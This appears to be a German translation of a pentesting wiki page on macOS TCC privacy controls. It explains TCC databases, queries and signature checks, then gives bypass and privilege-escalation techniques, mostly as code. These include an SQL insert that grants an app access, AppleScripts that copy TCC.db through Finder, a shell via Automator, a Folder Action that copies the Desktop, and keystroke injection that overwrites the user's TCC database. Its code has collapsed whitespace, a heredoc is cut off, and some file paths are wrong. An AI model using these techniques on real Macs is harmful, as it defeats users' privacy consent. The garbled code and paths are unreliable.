TCC (Transparenz, Zustimmung und Kontrolle) ist ein Sicherheitsprotokoll, das sich auf die Regulierung von Anwendungsberechtigungen konzentriert. Seine Hauptaufgabe besteht darin, sensible Funktionen wie Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Barrierefreiheit und vollständigen Festplattzugriff zu schützen. Durch die Verpflichtung zur ausdrücklichen Zustimmung des Benutzers, bevor der Zugriff auf diese Elemente gewährt wird, verbessert TCC die Privatsphäre und die Kontrolle der Benutzer über ihre Daten.
Benutzer begegnen TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies wird durch eine Aufforderung sichtbar, die es den Benutzern ermöglicht, Zugriff zu genehmigen oder abzulehnen. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen, wie das Ziehen und Ablegen von Dateien in eine Anwendung, um den Zugriff auf bestimmte Dateien zu gewähren, und stellt sicher, dass Anwendungen nur auf das zugreifen können, was ausdrücklich erlaubt ist.
Ein Beispiel für eine TCC-Aufforderung
TCC wird von dem Daemon verwaltet, der sich in /System/Library/PrivateFrameworks/TCC.framework/Support/tccd befindet und in /System/Library/LaunchDaemons/com.apple.tccd.system.plist konfiguriert ist (registriert den Mach-Dienst com.apple.tccd.system).
Es gibt einen Benutzermodus tccd, der pro angemeldetem Benutzer läuft und in /System/Library/LaunchAgents/com.apple.tccd.plist definiert ist, der die Mach-Dienste com.apple.tccd und com.apple.usernotifications.delegate.com.apple.tccd registriert.
Hier sehen Sie den tccd, der als System und als Benutzer läuft:
Permissions werden vom übergeordneten Anwendung vererbt und die Berechtigungen werden verfolgt basierend auf der Bundle-ID und der Entwickler-ID.
TCC-Datenbanken
Die Erlaubnisse/Verweigerungen werden dann in einigen TCC-Datenbanken gespeichert:
Die systemweite Datenbank in /Library/Application Support/com.apple.TCC/TCC.db.
Diese Datenbank ist SIP-geschützt, sodass nur ein SIP-Umgehung in sie schreiben kann.
Die Benutzer-TCC-Datenbank $HOME/Library/Application Support/com.apple.TCC/TCC.db für benutzerspezifische Einstellungen.
Diese Datenbank ist geschützt, sodass nur Prozesse mit hohen TCC-Berechtigungen wie Voller Festplattzugriff darin schreiben können (aber sie ist nicht durch SIP geschützt).
Die vorherigen Datenbanken sind auch TCC-geschützt für den Lesezugriff. Sie werden nicht in der Lage sein, Ihre reguläre Benutzer-TCC-Datenbank zu lesen, es sei denn, es stammt von einem TCC-privilegierten Prozess.
Denken Sie jedoch daran, dass ein Prozess mit diesen hohen Berechtigungen (wie FDA oder kTCCServiceEndpointSecurityClient) in der Lage sein wird, die Benutzer-TCC-Datenbank zu schreiben.
Es gibt eine dritte TCC-Datenbank in /var/db/locationd/clients.plist, um anzuzeigen, welche Clients Zugriff auf Standortdienste haben dürfen.
Die SIP-geschützte Datei /Users/carlospolop/Downloads/REG.db (auch vor Lesezugriff mit TCC geschützt) enthält die Standorte aller gültigen TCC-Datenbanken.
Die SIP-geschützte Datei /Users/carlospolop/Downloads/MDMOverrides.plist (auch vor Lesezugriff mit TCC geschützt) enthält weitere TCC gewährte Berechtigungen.
Die SIP-geschützte Datei /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (aber von jedem lesbar) ist eine Erlaubenliste von Anwendungen, die eine TCC-Ausnahme benötigen.
Die TCC-Datenbank in iOS befindet sich in /private/var/mobile/Library/TCC/TCC.db.
Die Benachrichtigungszentrale UI kann Änderungen in der systemweiten TCC-Datenbank vornehmen:
Benutzer können jedoch Regeln löschen oder abfragen mit dem tccutil Befehlszeilen-Dienstprogramm.
Abfragen der Datenbanken
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> selectservice,client,auth_value,auth_reasonfromaccesswhereservice="kTCCServiceSystemPolicyAllFiles"andauth_value=2;# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Durch die Überprüfung beider Datenbanken können Sie die Berechtigungen überprüfen, die eine App erlaubt hat, die sie verboten hat oder die sie nicht hat (sie wird danach fragen).
Der service ist die TCC Berechtigungs-String-Darstellung
Der client ist die Bundle-ID oder Pfad zur Binärdatei mit den Berechtigungen
Der client_type gibt an, ob es sich um eine Bundle-Identifikator(0) oder einen absoluten Pfad(1) handelt
Wie man ausführt, wenn es ein absoluter Pfad ist
Führen Sie einfach launctl load you_bin.plist aus, mit einer plist wie:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
Der auth_value kann verschiedene Werte haben: denied(0), unknown(1), allowed(2) oder limited(3).
Der auth_reason kann folgende Werte annehmen: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
Das csreq-Feld dient dazu, anzugeben, wie das Binärprogramm verifiziert werden soll, um die TCC-Berechtigungen zu gewähren:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
Sie können auch die bereits erteilten Berechtigungen für Apps in System Preferences --> Security & Privacy --> Privacy --> Files and Folders überprüfen.
Benutzer könnenRegeln löschen oder abfragen mit tccutil .
TCC-Berechtigungen zurücksetzen
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC-Signaturprüfungen
Die TCC Datenbank speichert die Bundle-ID der Anwendung, aber sie speichert auch Informationen über die Signatur, um sicherzustellen, dass die App, die um die Nutzung einer Berechtigung bittet, die richtige ist.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchorapplegenericandcertificateleaf[field.1.2.840.113635.100.6.1.9]/*exists*/oranchorapplegenericandcertificate1[field.1.2.840.113635.100.6.2.6]/*exists*/andcertificateleaf[field.1.2.840.113635.100.6.1.13]/*exists*/andcertificateleaf[subject.OU]="6N38VWS5BX") andidentifier"ru.keepcoder.Telegram"
Daher können andere Anwendungen, die denselben Namen und dieselbe Bundle-ID verwenden, nicht auf die erteilten Berechtigungen zugreifen, die anderen Apps gewährt wurden.
Berechtigungen & TCC-Berechtigungen
Apps müssen nicht nuranfordern und Zugriff gewährt bekommen auf einige Ressourcen, sie müssen auch die relevanten Berechtigungen haben.
Zum Beispiel hat Telegram die Berechtigung com.apple.security.device.camera, um Zugriff auf die Kamera zu beantragen. Eine App, die diese Berechtigung nicht hat, wird nicht in der Lage sein, auf die Kamera zuzugreifen (und der Benutzer wird nicht einmal nach den Berechtigungen gefragt).
Um jedoch auf bestimmte Benutzerordner wie ~/Desktop, ~/Downloads und ~/Documents zuzugreifen, müssen sie keine spezifischen Berechtigungen haben. Das System wird den Zugriff transparent handhaben und den Benutzer nach Bedarf auffordern.
Apples Apps werden keine Aufforderungen generieren. Sie enthalten vorab erteilte Rechte in ihrer Berechtigungsliste, was bedeutet, dass sie niemals ein Popup generieren, noch werden sie in einer der TCC-Datenbanken angezeigt. Zum Beispiel:
Dies wird verhindern, dass der Kalender den Benutzer um Zugriff auf Erinnerungen, Kalender und das Adressbuch bittet.
Neben einigen offiziellen Dokumentationen über Berechtigungen ist es auch möglich, inoffizielle interessante Informationen über Berechtigungen inhttps://newosxbook.com/ent.jl zu finden.
Einige TCC-Berechtigungen sind: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Es gibt keine öffentliche Liste, die alle definiert, aber Sie können diese Liste der bekannten einsehen.
Sensible ungeschützte Orte
$HOME (selbst)
$HOME/.ssh, $HOME/.aws, usw.
/tmp
Benutzerabsicht / com.apple.macl
Wie bereits erwähnt, ist es möglich, einer App Zugriff auf eine Datei zu gewähren, indem man sie per Drag & Drop darauf zieht. Dieser Zugriff wird in keiner TCC-Datenbank angegeben, sondern als erweiterteEigenschaft der Datei gespeichert. Diese Eigenschaft wird die UUID der erlaubten App speichern:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.commandmacl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
Es ist interessant, dass das com.apple.macl Attribut von der Sandbox verwaltet wird, nicht von tccd.
Beachten Sie auch, dass, wenn Sie eine Datei, die die UUID einer App auf Ihrem Computer erlaubt, auf einen anderen Computer verschieben, die gleiche App aufgrund unterschiedlicher UIDs keinen Zugriff gewährt.
Das erweiterte Attribut com.apple.maclkann nicht gelöscht werden wie andere erweiterte Attribute, da es durch SIP geschützt ist. Es ist jedoch möglich, es zu deaktivieren, indem man die Datei zippt, sie löscht und dann entzippt.
TCC Privesc & Bypasses
In TCC einfügen
Wenn Sie irgendwann Schreibzugriff auf eine TCC-Datenbank erhalten, können Sie etwas wie das Folgende verwenden, um einen Eintrag hinzuzufügen (Kommentare entfernen):
Beispiel für das Einfügen in TCC
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
TCC Payloads
Wenn Sie es geschafft haben, in eine App mit einigen TCC-Berechtigungen einzudringen, überprüfen Sie die folgende Seite mit TCC-Payloads, um diese auszunutzen:
Der TCC-Name der Automatisierungsberechtigung ist: kTCCServiceAppleEvents
Diese spezifische TCC-Berechtigung zeigt auch die Anwendung an, die innerhalb der TCC-Datenbank verwaltet werden kann (die Berechtigungen erlauben also nicht nur die Verwaltung von allem).
Finder ist eine Anwendung, die immer FDA hat (auch wenn sie nicht in der Benutzeroberfläche erscheint), sodass Sie, wenn Sie Automatisierungs-Berechtigungen darüber haben, diese Berechtigungen ausnutzen können, um einige Aktionen auszuführen.
In diesem Fall benötigt Ihre App die Berechtigung kTCCServiceAppleEvents über com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Du könntest dies missbrauchen, um deine eigene Benutzer-TCC-Datenbank zu schreiben.
Mit dieser Berechtigung wirst du in der Lage sein, Finder zu bitten, auf TCC-restriktive Ordner zuzugreifen und dir die Dateien zu geben, aber soweit ich weiß, wirst du nicht in der Lage sein, Finder dazu zu bringen, beliebigen Code auszuführen, um seinen FDA-Zugriff vollständig auszunutzen.
Daher wirst du nicht in der Lage sein, die vollen FDA-Fähigkeiten auszunutzen.
Dies ist die TCC-Aufforderung, um Automatisierungsprivilegien über Finder zu erhalten:
Beachte, dass die Automator-App die TCC-Berechtigung kTCCServiceAppleEvents hat, sodass sie jede App steuern kann, wie z.B. Finder. Wenn du also die Berechtigung hast, Automator zu steuern, könntest du auch den Finder mit einem Code wie dem untenstehenden steuern:
Hole dir eine Shell innerhalb von Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
Das Gleiche gilt für die **Script Editor-App**, sie kann den Finder steuern, aber mit einem AppleScript kann man sie nicht zwingen, ein Skript auszuführen.
### Automatisierung (SE) zu einigen TCC
**System Events können Ordneraktionen erstellen, und Ordneraktionen können auf einige TCC-Ordner zugreifen** (Desktop, Dokumente & Downloads), sodass ein Skript wie das folgende verwendet werden kann, um dieses Verhalten auszunutzen:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) zu FDA*
Automation auf System Events + Accessibility (kTCCServicePostEvent) ermöglicht das Senden von Tasteneingaben an Prozesse. Auf diese Weise könnten Sie den Finder missbrauchen, um die TCC.db des Benutzers zu ändern oder FDA an eine beliebige App zu gewähren (obwohl möglicherweise ein Passwort dafür angefordert wird).
Beispiel für das Überschreiben der TCC.db des Benutzers durch den Finder:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Wenn Sie kTCCServiceEndpointSecurityClient haben, haben Sie FDA. Ende.
System Policy SysAdmin File zu FDA
kTCCServiceSystemPolicySysAdminFiles ermöglicht es, das NFSHomeDirectory Attribut eines Benutzers zu ändern, was seinen Home-Ordner ändert und somit TCC umgeht.
User TCC DB zu FDA
Durch den Erhalt von Schreibberechtigungen über die Benutzer-TCC-Datenbank **können Sie** sich keine FDA-Berechtigungen gewähren, nur derjenige, der in der Systemdatenbank lebt, kann das gewähren.
Aber Sie können sich Automatisierungsrechte für den Finder geben und die vorherige Technik missbrauchen, um zu FDA* zu eskalieren.
FDA zu TCC Berechtigungen
Vollzugriff auf die Festplatte ist der TCC-Name kTCCServiceSystemPolicyAllFiles
Ich denke nicht, dass dies ein echtes privesc ist, aber nur für den Fall, dass Sie es nützlich finden: Wenn Sie ein Programm mit FDA steuern, können Sie die TCC-Datenbank der Benutzer ändern und sich jeden Zugriff gewähren. Dies kann als Persistenztechnik nützlich sein, falls Sie Ihre FDA-Berechtigungen verlieren sollten.
SIP Bypass zu TCC Bypass
Die TCC-Datenbank des Systems ist durch SIP geschützt, weshalb nur Prozesse mit den angegebenen Berechtigungen in der Lage sind, sie zu ändern. Daher, wenn ein Angreifer einen SIP-Bypass über eine Datei findet (in der Lage, eine durch SIP eingeschränkte Datei zu ändern), kann er:
Den Schutz einer TCC-Datenbank entfernen und sich alle TCC-Berechtigungen gewähren. Er könnte beispielsweise eine dieser Dateien missbrauchen:
Die TCC-Systemdatenbank
REG.db
MDMOverrides.plist
Es gibt jedoch eine weitere Möglichkeit, diesen SIP-Bypass zu nutzen, um TCC zu umgehen. Die Datei /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist ist eine Erlaubenliste von Anwendungen, die eine TCC-Ausnahme benötigen. Daher, wenn ein Angreifer den SIP-Schutz von dieser Datei entfernen und seine eigene Anwendung hinzufügen kann, wird die Anwendung in der Lage sein, TCC zu umgehen.
Zum Beispiel, um das Terminal hinzuzufügen:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>
